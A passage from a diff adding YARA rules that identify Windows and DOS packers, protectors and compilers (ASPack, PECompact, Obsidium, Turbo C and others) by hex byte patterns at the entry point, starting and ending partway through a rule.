+		$0 = {60 E8 00 00 00 00 5D 81 ED 2E 34 46 00 B9 55 4A 46 00 81 E9 26 37 46 00 89 EA 81 C2 26 37 46 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Compiler_
+{
+	meta:
+		description = "Vx: Compiler"
+	strings:
+		$0 = {8C C3 83 C3 10 2E 01 1E ?? 02 2E 03 1E ?? 02 53 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_C__Basic_NET_
+{
+	meta:
+		description = "Microsoft Visual C# / Basic .NET"
+	strings:
+		$0 = {FF 25 00 20 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_C_or_Borland_Cpp_
+{
+	meta:
+		description = "Turbo C or Borland C++"
+	strings:
+		$0 = {BA ?? ?? 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_50_KOLMCK_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK]"
+	strings:
+		$0 = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _dePACK__deNULL_
+{
+	meta:
+		description = "dePACK -> deNULL"
+	strings:
+		$0 = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? 00 00 E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v303_
+{
+	meta:
+		description = "WWPACK v3.03"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 BB ?? ?? 53}
+	condition:
+		$0 at entrypoint
+}
+rule _WebCops_DLL_
+{
+	meta:
+		description = "WebCops [DLL"
+	strings:
+		$0 = {A8 BE 58 DC D6 CC C4 63 4A 0F E0 02 BB CE F3 5C 50 23 FB 62 E7 3D 2B}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRo_Tiny_Pascal__BeRo_
+{
+	meta:
+		description = "BeRo Tiny Pascal -> BeRo"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v50_
+{
+	meta:
+		description = "Microsoft Visual Basic v5.0"
+	strings:
+		$0 = {FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Shrinker_v071_
+{
+	meta:
+		description = "PC Shrinker v0.71"
+	strings:
+		$0 = {9C 60 BD ?? ?? ?? ?? 01 AD 54 3A 40 ?? FF B5 50 3A 40 ?? 6A 40 FF 95 88 3A 40 ?? 50 50 2D ?? ?? ?? ?? 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _muckis_protector_II__mucki_
+{
+	meta:
+		description = "mucki's protector II -> mucki"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 6A 00 E8 85 C0 74 12 64 8B 3D 18 00 00 00 8B 7F 30 0F B6 47 02 85 C0 74 01 C3 C7 04 24 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2}
+		$1 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 6A 00 E8 85 C0 74 12 64 8B 3D 18 00 00 00 8B 7F 30 0F B6 47 02 85 C0 74 01 C3 C7 04 24 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_CDCops_II__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [CD-Cops II] -> Anorganix"
+	strings:
+		$0 = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_v1032_exescrcom__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector v1.03.2 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Password_v02_SMTSMF_
+{
+	meta:
+		description = "PE Password v0.2 SMT/SMF"
+	strings:
+		$0 = {E8 04 ?? ?? ?? 8B EC 5D C3 33 C0 5D 8B FD 81 ED 33 26 40 ?? 81 EF ?? ?? ?? ?? 83 EF 05 89 AD 88 27 40 ?? 8D 9D 07 29 40 ?? 8D B5 62 28 40 ?? 46 80}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22006115__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2006.1.15 -> WFS"
+	strings:
+		$0 = {45 50 45 3A 20 45 6E 63 72 79 70 74 50 45 20 56 32 2E 32 30 30 36 2E 31 2E 31 35}
+	condition:
+		$0
+}
+rule _Krypton_v04_
+{
+	meta:
+		description = "Krypton v0.4"
+	strings:
+		$0 = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 61 34 ?? ?? 2B 85 60 37 ?? ?? 83 E8 06}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_SVKP_111__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake SVKP 1.11) -> emadicius"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 64 A0 23 00 00 00 83 C5 06 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4}
+	condition:
+		$0
+}
+rule _PECompact_v110b3_
+{
+	meta:
+		description = "PECompact v1.10b3"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 95}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_NorthStar_PE_Shrinker_13_
+{
+	meta:
+		description = "PseudoSigner 0.2 [NorthStar PE Shrinker 1.3]"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_RunTime_systempDOS4GW_DOS_Extender_198893_
+{
+	meta:
+		description = "WATCOM C/C++ Run-Time system+DOS4GW DOS Extender 1988-93"
+	strings:
+		$0 = {BF ?? ?? 8E D7 81 C4 ?? ?? BE ?? ?? 2B F7 8B C6 B1 ?? D3}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1987_
+{
+	meta:
+		description = "MS Run-Time Library 1987"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? 9A ?? ?? ?? ?? B8 ?? ?? 50 9A ?? ?? ?? ?? 92}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V037V039__Dwing_
+{
+	meta:
+		description = "Upack V0.37-V0.39 -> Dwing"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 50 FF ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v31_
+{
+	meta:
+		description = "PEncrypt v3.1"
+	strings:
+		$0 = {E9 ?? ?? ?? 00 F0 0F C6}
+	condition:
+		$0 at entrypoint
+}
+rule _Anti007_V27V35__NsPacK_Private_
+{
+	meta:
+		description = "Anti007 V2.7-V3.5 -> NsPacK Private"
+	strings:
+		$0 = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 54}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_PCGuard_4xx__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PC-Guard 4.xx) -> emadicius"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 58 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58}
+	condition:
+		$0
+}
+rule _PeCompact2_253276__BitSum_Technologies_
+{
+	meta:
+		description = "PeCompact2 2.53-2.76 -> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 55 53 51 57 56 52 8D 98 C9 11 00 10 8B 53 18 52 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 5A 8B F8 50 52 8B 33 8B 43 20 03 C2 8B 08 89 4B 20 8B 43 1C 03 C2 8B 08 89 4B 1C 03 F2 8B 4B 0C 03 CA 8D 43 1C 50 57 56 FF}
+	condition:
+		$0
+}
+rule _Virogen_Crypt_v075_
+{
+	meta:
+		description = "Virogen Crypt v0.75"
+	strings:
+		$0 = {9C 55 E8 EC 00 00 00 87 D5 5D 60 87 D5 80 BD 15 27 40 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _SafeDisc_4_
+{
+	meta:
+		description = "SafeDisc 4"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 42 6F 47 5F}
+	condition:
+		$0
+}
+rule _Unknown_Protected_Mode_compiler_1_
+{
+	meta:
+		description = "Unknown Protected Mode compiler (1)"
+	strings:
+		$0 = {FA BC ?? ?? 8C C8 8E D8 E8 ?? ?? E8 ?? ?? E8 ?? ?? 66 B8 ?? ?? ?? ?? 66 C1}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v200_alpha_38_
+{
+	meta:
+		description = "PECompact v2.00 alpha 38"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F 00 50 57 56 FF D1 58 03 43 08 8B F8 8B 53 14 8B F0 8B 46 FC 83 C0 04 2B F0 89 56 08 8B 4B 10 89 4E 18 FF D7 89 85 BB 10 00 10 5E 5A 5F 59 5B 5D 9D FF E0 8B 80 BB 10 00 10 FF E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _JDPack_2x__JDPack_
+{
+	meta:
+		description = "JDPack 2.x -> JDPack"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 51 40 00 68 04 25 40 00 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_V1XV2X__Fisun_AV__Sign_by_fly_
+{
+	meta:
+		description = "ORiEN V1.X-V2.X -> Fisun A.V. ! Sign by fly"
+	strings:
+		$0 = {4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D}
+	condition:
+		$0
+}
+rule _SEN_Debug_Protector_
+{
+	meta:
+		description = "SEN Debug Protector???"
+	strings:
+		$0 = {BB ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 29 ?? ?? 4E E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v125_
+{
+	meta:
+		description = "PECompact v1.25"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? F3 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _REC_v032_
+{
+	meta:
+		description = "REC v0.32"
+	strings:
+		$0 = {06 1E 52 B8 ?? ?? 1E CD 21 86 E0 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _RPolyCrypt_v_10_personal_polycryptor_sign_from_pinch_
+{
+	meta:
+		description = "RPolyCrypt v 1.0 (personal polycryptor) sign from pinch"
+	strings:
+		$0 = {50 58 97 97 60 61 8B 04 24 80 78 F3 6A E8 00 00 00 00 58 E8 00 00 00 00 58 91 91 EB 00 0F 85 6B F4 76 6F E8 00 00 00 00 83 C4 04 E8 00 00 00 00 58 90 E8 00 00 00 00 83 C4 04 8B 04 24 80 78 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _Sentinel_SuperPro_Automatic_Protection_v641__Safenet_
+{
+	meta:
+		description = "Sentinel SuperPro (Automatic Protection) v6.4.1 -> Safenet"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00 68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 25 FE FF DF 3F 0D 01 00 20 00 A3 ?? ?? ?? ?? 33 C0 50 C7 04 ?? ?? ?? ?? ?? 00 00 00 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_224__StrongbitSoftComplete_Development_
+{
+	meta:
+		description = "EXECryptor 2.2.4 -> Strongbit/SoftComplete Development"
+	strings:
+		$0 = {6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0
+}
+rule _tElock_v098_
+{
+	meta:
+		description = "tElock v0.98"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V30__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.0 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? ?? ?? 66 8B 06 66 83 F8 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPACK_v10_by_ANAKiN_1998__
+{
+	meta:
+		description = "PE-PACK v1.0 by ANAKiN 1998 (???)"
+	strings:
+		$0 = {74 ?? E9 ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Software_Compress_V12__BG_Software_Protect_Technologies_
+{
+	meta:
+		description = "Software Compress V1.2 -> BG Software Protect Technologies"
+	strings:
+		$0 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_C_1990_or_Turbo_C_1988_
+{
+	meta:
+		description = "Turbo C 1990 or Turbo C 1988"
+	strings:
+		$0 = {BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21 8B ?? ?? ?? 8B ?? ?? ?? 8E DA}
+	condition:
+		$0 at entrypoint
+}
+rule _MASMTASM__sig4_h_
+{
+	meta:
+		description = "MASM/TASM - sig4 (h)"
+	strings:
+		$0 = {C3 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+		$1 = {FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+	condition:
+		$0 or $1
+}
+rule _RLPack_Full_Edition_117_DLL_LZMA_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL (LZMA)"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Adlib_Sample_Audio_file_
+{
+	meta:
+		description = "Adlib Sample Audio file"
+	strings:
+		$0 = {47 4F 4C 44 20 53 41 4D 50 4C 45}
+	condition:
+		$0
+}
+rule _ASPack_v212_
+{
+	meta:
+		description = "ASPack v2.12"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01}
+		$1 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _PseudoSigner_02_Armadillo_300_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Armadillo 3.00]"
+	strings:
+		$0 = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v50_
+{
+	meta:
+		description = "Microsoft Visual C++ v5.0"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 53 56 57}
+	condition:
+		$0 at entrypoint
+}
+rule _NFO_v10_
+{
+	meta:
+		description = "NFO v1.0"
+	strings:
+		$0 = {8D 50 12 2B C9 B1 1E 8A 02 34 77 88 02 42 E2 F7 C8 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_30_by_North_Star_Liu_Xing_Ping_
+{
+	meta:
+		description = "NsPack 3.0 by North Star (Liu Xing Ping)"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 55 F9 FF FF 66 8B 06 66 83 F8 00 74 15 8B F5 8D B5 7D F9 FF FF 66 8B 06 66 83 F8 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 11 F9 FF FF 89 95}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextractable_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextractable)"
+	strings:
+		$0 = {03 05 00 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_V50__Bitarts_
+{
+	meta:
+		description = "Crunch V5.0 -> Bitarts"
+	strings:
+		$0 = {EB 15 03 00 00 00 06}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Protector_v10x_
+{
+	meta:
+		description = "UPX Protector v1.0x"
+	strings:
+		$0 = {EB EC ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_13017__Obsidium_software_
+{
+	meta:
+		description = "Obsidium 1.3.0.17 -> Obsidium software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+		$1 = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 4F 26 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ACProtect_109g__Risco_software_Inc_
+{
+	meta:
+		description = "ACProtect 1.09g -> Risco software Inc."
+	strings:
+		$0 = {60 F9 50 E8 01 00 00 00 7C 58 58 49 50 E8 01 00 00 00 7E 58 58 79 04 66 B9 B8 72 E8 01 00 00 00 7A 83 C4 04 85 C8 EB 01 EB C1 F8 BE 72 03 73 01 74 0F 81 01 00 00 00 F9 EB 01 75 F9 E8 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v1300__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium v1.3.0.0 -> Obsidium Software (h)"
+	strings:
+		$0 = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B 50 EB 03 8A 0B 93 33 C0 EB 02 28 B9 8B 00 EB 01 04 C3 EB 04 65 B3 54 0A E9 FA 00 00 00 EB 01 A2 E8 D5 FF FF FF EB 02 2B 49 EB 03 7C 3E 76 58 EB 04 B8 94 92 56 EB 01 72 64 67 8F 06 00 00 EB 02 23 72 83 C4 04 EB 02 A9 CB E8 47 26 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSafeguard_10__simonzh_h_
+{
+	meta:
+		description = "ExeSafeguard 1.0 -> simonzh (h)"
+	strings:
+		$0 = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE}
+	condition:
+		$0
+}
+rule _Thinstall_Embedded_V2501__Jitit__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Embedded V2.501 -> Jitit ! Sign by fly"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A8 1A 00 00 B9 6D 1A 00 00 BA 21 1B 00 00 BE 00 10 00 00 BF C0 53 00 00 BD F0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _mkfpack__llydd_
+{
+	meta:
+		description = "mkfpack -> llydd"
+	strings:
+		$0 = {E8 00 00 00 00 5B 81 EB 05 00 00 00 8B 93 9F 08 00 00 53 6A 40 68 00 10 00 00 52 6A 00 FF 93 32 08 00 00 5B 8B F0 8B BB 9B 08 00 00 03 FB 56 57 E8 86 08 00 00 83 C4 08 8D 93 BB 08 00 00 52 53 FF E6}
+	condition:
+		$0
+}
+rule _SLVc0deProtector_11__SLV_h_
+{
+	meta:
+		description = "SLVc0deProtector 1.1 -> SLV (h)"
+	strings:
+		$0 = {E8 01 00 00 00 A0 5D EB 01 69 81 ED 5F 1A 40 00 8D 85 92 1A 40 00 F3 8D 95 83 1A 40 00 8B C0 8B D2 2B C2 83 E8 05 89 42 01 E8 FB FF FF FF 69 83 C4 08 E8 06 00 00 00 69 E8 F2 FF FF FF F3 B9 05 00 00 00 51 8D B5 BF 1A 40 00 8B FE B9 58 15 00 00 AC 32 C1 F6}
+	condition:
+		$0
+}
+rule _FlyCrypter_10__ut1lz_
+{
+	meta:
+		description = "Fly-Crypter 1.0 -> ut1lz"
+	strings:
